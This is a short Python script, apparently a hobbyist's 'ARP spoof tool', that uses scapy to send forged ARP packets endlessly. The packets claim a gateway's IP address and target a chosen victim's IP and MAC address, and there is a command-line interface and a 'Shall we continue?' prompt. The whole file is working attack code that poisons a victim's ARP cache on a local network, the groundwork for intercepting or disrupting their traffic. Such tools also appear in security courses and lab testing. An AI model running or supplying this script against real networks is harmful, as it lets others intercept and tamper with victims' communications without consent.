#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""

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    Author:	@echel0n_1881

    ~~~~~~~~~~~~~~~~~~~~~~

    ARP spoof tool.

    libraries:
        scapy : `pip install scapy`
        time  : builtin

    usage: arp_spoofer.py [-h] [--victim VICTIM] [--gateway GATEWAY]
                      [--victimip VICTIMIP]

    optional arguments:
            -h, --help           show this help message and exit
            --victim VICTIM      Chosen MAC address of victim.
            --gateway GATEWAY    Chosen IP of router/switch/modem
            --victimip VICTIMIP  Chosen IP address of the victim


"""

import argparse
from scapy.all import ARP, send


def spoof(victimMacAddress, gatewayIP, victimIP):

    # ARP REQUEST'S OP CODE
    OPCODE = 1
    print(gatewayIP)
    print(victimIP)
    print(victimMacAddress)
    packet = ARP(
            op=OPCODE,
            psrc=gatewayIP,
            pdst=victimIP,
            hwdst=victimMacAddress)

    while 1:
        send(packet)
        # optional
        # time.sleep(1)


def parser():

    # our wise parser
    parser = argparse.ArgumentParser()

    # adding arguments
    parser.add_argument(
            "--victim",
            help="Chosen MAC address of victim.",
            type=str)
    parser.add_argument(
            "--gateway",
            help="Chosen IP of router/switch/modem",
            type=str)
    parser.add_argument(
            "--victimip",
            help="Chosen IP address of the victim",
            type=str)

    args = parser.parse_args()

    # post values to our process

    return args.victim, args.gateway, args.victimip


if __name__ == "__main__":
    # get values from arguments
    victim, gateway, victimip = parser()

    print("[+] Welcome to Echelon's Arp Spoofer")
    print("[!] Chosen options are:")
    print("\t Victim's Mac Address: ", victim)
    print("\t Victim's IP: ", victimip)
    print("\t Gateway's IP: ", gateway)

    answer = input("Shall we continue? [Y/n] ")
    print("")
    answer = str(answer)

    if answer == "Y" or answer == "y":
        # start spoofing already
        spoof(victim, gateway, victimip)
    else:
        print("[EXITING] Goodbye...")
        exit(1)